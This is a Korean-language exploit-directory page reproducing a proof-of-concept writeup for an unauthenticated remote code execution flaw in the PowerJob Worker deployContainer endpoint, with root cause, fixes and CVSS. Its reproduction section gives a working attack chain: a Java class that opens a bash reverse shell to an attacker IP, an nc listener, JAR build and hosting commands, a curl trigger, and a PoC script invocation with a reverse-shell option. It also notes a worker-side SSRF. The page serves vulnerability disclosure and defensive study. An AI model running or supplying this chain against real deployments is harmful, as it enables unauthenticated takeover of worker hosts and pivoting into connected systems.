Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/unpredictable21/cve-2026-75430_powerjob_worker_deploycontainer_rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubunpredictable21/cve-2026-75430_powerjob_worker_deploycontainer_rce

CVE-2026-75430_PowerJob_worker_deployContainer_RCE

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

# CVE-2026-75430 개념 증명 익스플로잇 deployContainer 엔드포인트를 통한 임의 JAR 로딩으로 PowerJob Worker에서 인증 없는 원격 코드 실행을 달성하는 개념 증명 익스플로잇입니다.

저장소 보기
25일 전아직 검토되지 않음

PowerJob Worker 무인증 원격 코드 실행 - /worker/deployContainer (임의 JAR 로딩)

1. 요약

PowerJob Worker는 HTTP 전송 포트 27777에서 deployContainer 핸들러를 어떠한 인증도 없이 노출합니다. 공격자는 임의의 URL을 제출하고, Worker는 해당 JAR을 다운로드하여 URLClassLoader + Spring ClassPathXmlApplicationContext를 통해 로드하며, Spring init-method 중에 임의 코드가 실행되어 Worker RCE가 발생합니다. 기본 docker-compose는 이 포트를 호스트에 게시합니다.

전제 조건 (정직한 설명): Worker가 실행 중이어야 합니다(27777 포트 리슨). 기본 구성에서 Worker는 시작 시 앱이 서버에 등록되었는지 검증합니다(/server/assert). 앱이 등록되지 않으면 Worker는 시작에 실패하고 27777 포트는 리슨하지 않습니다 (검증됨: Java 프로세스가 코드 1로 종료됨). 따라서 콘솔 설정 없이 엄격하게 새로 "docker-compose up"한 상태는 직접 악용할 수 없습니다. 그러나 PowerJob의 정상적인 운영은 필연적으로 앱 등록과 Worker 온라인 상태를 요구하므로 (그렇지 않으면 시스템이 작업을 스케줄링하지 않음), 실제로 사용 중인 모든 배포는 본질적으로 전제 조건을 충족하며, 이후 익스플로잇은 자격 증명이 필요 없습니다. 반대로, 관련 발견 PJ-08(서버 /friend/process)은 그러한 전제 조건이 없습니다 — 서버는 시작 시 무조건 10010 포트를 바인딩합니다.

2. 영향받는 제품

  • 제품: PowerJob Worker (powerjob-worker, 공식 powerjob-worker-samples 이미지를 통해 배포)
  • 영향받는 버전: 5.1.2 (Worker 전송 계층 무인증 설계는 이전 릴리스에서 이어져 왔음)
  • 기본 배포: docker-compose.yml worker 서비스, HTTP 프로토콜, 포트 27777 (PowerJobWorkerConfig.java:34)

3. 취약점 위치

요청 본문 ServerDeployContainerRequest (필드 containerId/containerName/version/downloadURL).

4. 근본 원인

  • Worker↔Server 전송 계층에는 토큰/서명 인증이 없으며, WorkerActor 핸들러는 downloadURL을 완전히 신뢰합니다.
  • OmsContainerFactory는 임의의 URL에서 JAR을 다운로드하고 즉시 OmsJarContainer.init()을 호출합니다: URLClassLoader 로드 + Spring 컨텍스트 refresh() → 클래스/Bean 초기화 중에 악성 코드가 실행됩니다.

5. 공격 시나리오

전제 조건: Worker가 실행 중이고 27777 포트가 리슨 중입니다 (모든 프로덕션/데모 배포에서 충족됨; 운영자가 공식 절차를 따라 샘플 앱을 생성했다면 Worker는 온라인 상태입니다). 재현을 위해 Worker를 --powerjob.worker.allow-lazy-connect-server=true로 시작하여 앱 등록 검사를 건너뛸 수 있습니다 (프로덕션에서는 권장되지 않음; 이 스위치는 Worker가 온라인 상태가 되는지 여부에만 영향을 미칠 뿐 열린 포트의 인증 부재를 변경하지는 않습니다).

  1. 공격자는 악성 JAR을 제공하는 HTTP 파일 서버를 호스팅합니다. JAR 구조 (OmsJarContainer.init()의 요구 사항 충족):
    • PACKAGE_NAME=com.evil이 포함된 oms-worker-container.properties
    • com/evil/Exploit.class — 명령을 실행하는 Spring init-method(예: run())를 노출하는 클래스
    • oms-worker-container-spring-context.xml — <bean class="com.evil.Exploit" init-method="run"/>
  2. Worker 포트 27777에 본문 {"containerId":1,"containerName":"x","version":"1","downloadURL":"http://<attacker>/evil.jar"}과 함께 POST /worker/deployContainer를 전송합니다.
  3. Worker가 JAR을 다운로드 → OmsJarContainer.init(): OhMyClassLoader.load()가 클래스를 로드하고(정적 초기화자는 ), 그런 다음 가 Bean을 인스턴스화하고 (Worker의 런타임 권한으로).

출력 에코 없음: deployContainer 핸들러는 void를 반환하므로 HTTP 응답에는 명령 출력이 포함되지 않습니다 (검증됨: 빈 본문). 대화형 명령 실행을 위한 기본 기법은 리버스 셸입니다 (아래 재현 참조); 마커 파일 변형은 로컬의 비대화형 검증에 불과합니다.

6. 재현 (검증됨)

환경: JDK 21, 소스 빌드 powerjob-worker-samples-5.1.2.jar, Worker가 192.168.49.128:27777에서 리슨 중 (앱 등록을 건너뛰기 위해 --powerjob.worker.allow-lazy-connect-server=true로 시작).

기본 — 리버스 셸 (대화형 명령 실행):

악성 JAR의 Exploit.run() (Spring init-method)이 리버스 셸을 생성합니다. 출력 에코가 없으므로 Worker 호스트에서 대화형 명령 실행을 얻는 효과적인 방법입니다.

root@kitploit:~
# 1) 공격자가 먼저 리슨:
nc -lvnp 7878

# 2) 악성 JAR 구성 — Exploit.run()이 bash 리버스 셸 실행
package com.evil;
public class Exploit {
    public void run() {
        Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",
          "bash -i >& /dev/tcp/192.168.3.17/7878 0>&1"});   // LHOST:LPORT
    }
}
# oms-worker-container.properties :  PACKAGE_NAME=com.evil
# oms-worker-container-spring-context.xml :
#   <bean id="evil" class="com.evil.Exploit" init-method="run"/>
javac --release 8 -d classes Exploit.java && jar cf evil.jar com/evil/Exploit.class \
  oms-worker-container.properties oms-worker-container-spring-context.xml
python3 -m http.server 8000     # evil.jar 호스팅

# 3) 트리거 (자격 증명 없음):
curl -s http://192.168.49.128:27777/worker/deployContainer -H 'Content-Type: application/json' -d '{
  "containerId": 3, "containerName": "evil", "version": "3",
  "downloadURL": "http://192.168.3.17:8000/evil.jar"
}'
image

또는 스크립트를 사용하여 검증: python3 powerjob_worker_deploycontainer_rce.py 192.168.49.128:27777 http://192.168.3.17:8000/evil.jar --build-and-serve 0.0.0.0 8000 --reverse-shell 192.168.3.17:7878

PoC 핵심 포인트: OhMyClassLoader.load()는 loadClass()만 호출하므로 정적 초기화자는 실행되지 않습니다; 실제 실행 지점은 ClassPathXmlApplicationContext.refresh()가 호출하는 Spring init-method입니다. 따라서 악성 JAR은 Spring XML을 포함하고 init-method를 선언해야 합니다. 리버스 셸은 /bin/sh(dash)가 /dev/tcp를 구문 분석하지 않으므로 /bin/bash -c를 통해 실행해야 합니다.

7. 영향

  • Worker 노드의 완전한 제어 (작업 매개변수/코드 탈취, 작업 결과 읽기/쓰기, 작업 출력을 소비하는 비즈니스 시스템으로의 피벗).
  • 영향 범위: Worker 프로세스 / 호스트.

8. 제안된 수정

  • 전송 계층에 상호 인증을 추가하고, 신뢰할 수 있는 Server만 deployContainer를 트리거할 수 있도록 하며 소스를 검증합니다.
  • downloadURL을 신뢰할 수 있는 내부 주소로 제한하고, 로드 전에 JAR 해시/서명을 검증합니다.

9. CWE / CVSS

  • CWE: CWE-94 (코드 생성의 부적절한 제어) / CWE-502 (신뢰할 수 없는 데이터의 역직렬화 / 신뢰할 수 없는 로딩)
  • CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 치명적

10. 증거 / 공개

  • 분석: PowerJob-5.1.2/audit_report/SECOND_AUDIT_REPORT.md (PJ-09)
  • 재현: 로컬에서 검증됨 (192.168.49.128:27777, 자격 증명 없음 → Worker RCE); ## 6. 재현 참조
  • PoC: PowerJob-5.1.2/audit_report/poc/powerjob_worker_deploycontainer_rce.py (자동 JAR 빌드 + 호스팅 + 트리거, --reverse-shell, -p/--proxy)
  • 제출: PJ-08/PJ-12와 함께 PowerJob SECURITY.md 채널을 통해 (Tidelift / [email protected] / GitHub Security Advisory)
도구 다운로드
항목값
진입점POST http://<worker>:27777/worker/deployContainer
핸들러powerjob-worker/.../actors/WorkerActor.java:32-35 (@Actor(path="worker"), 인증 없음)
다운로드OmsContainerFactory.deployContainer:97 FileUtils.copyURLToFile(new URL(request.getDownloadURL()), jarFile, ...)
로드OmsJarContainer.init() OhMyClassLoader.load() + new ClassPathXmlApplicationContext(...).refresh()
실행하지 않음
ClassPathXmlApplicationContext.refresh()
init-method를 호출 → 임의 명령 실행
  • 추가: 스크립트 핸들러 AbstractScriptProcessor.java:118-123도 임의 URL에서 다운로드를 지원 → Worker 측 SSRF.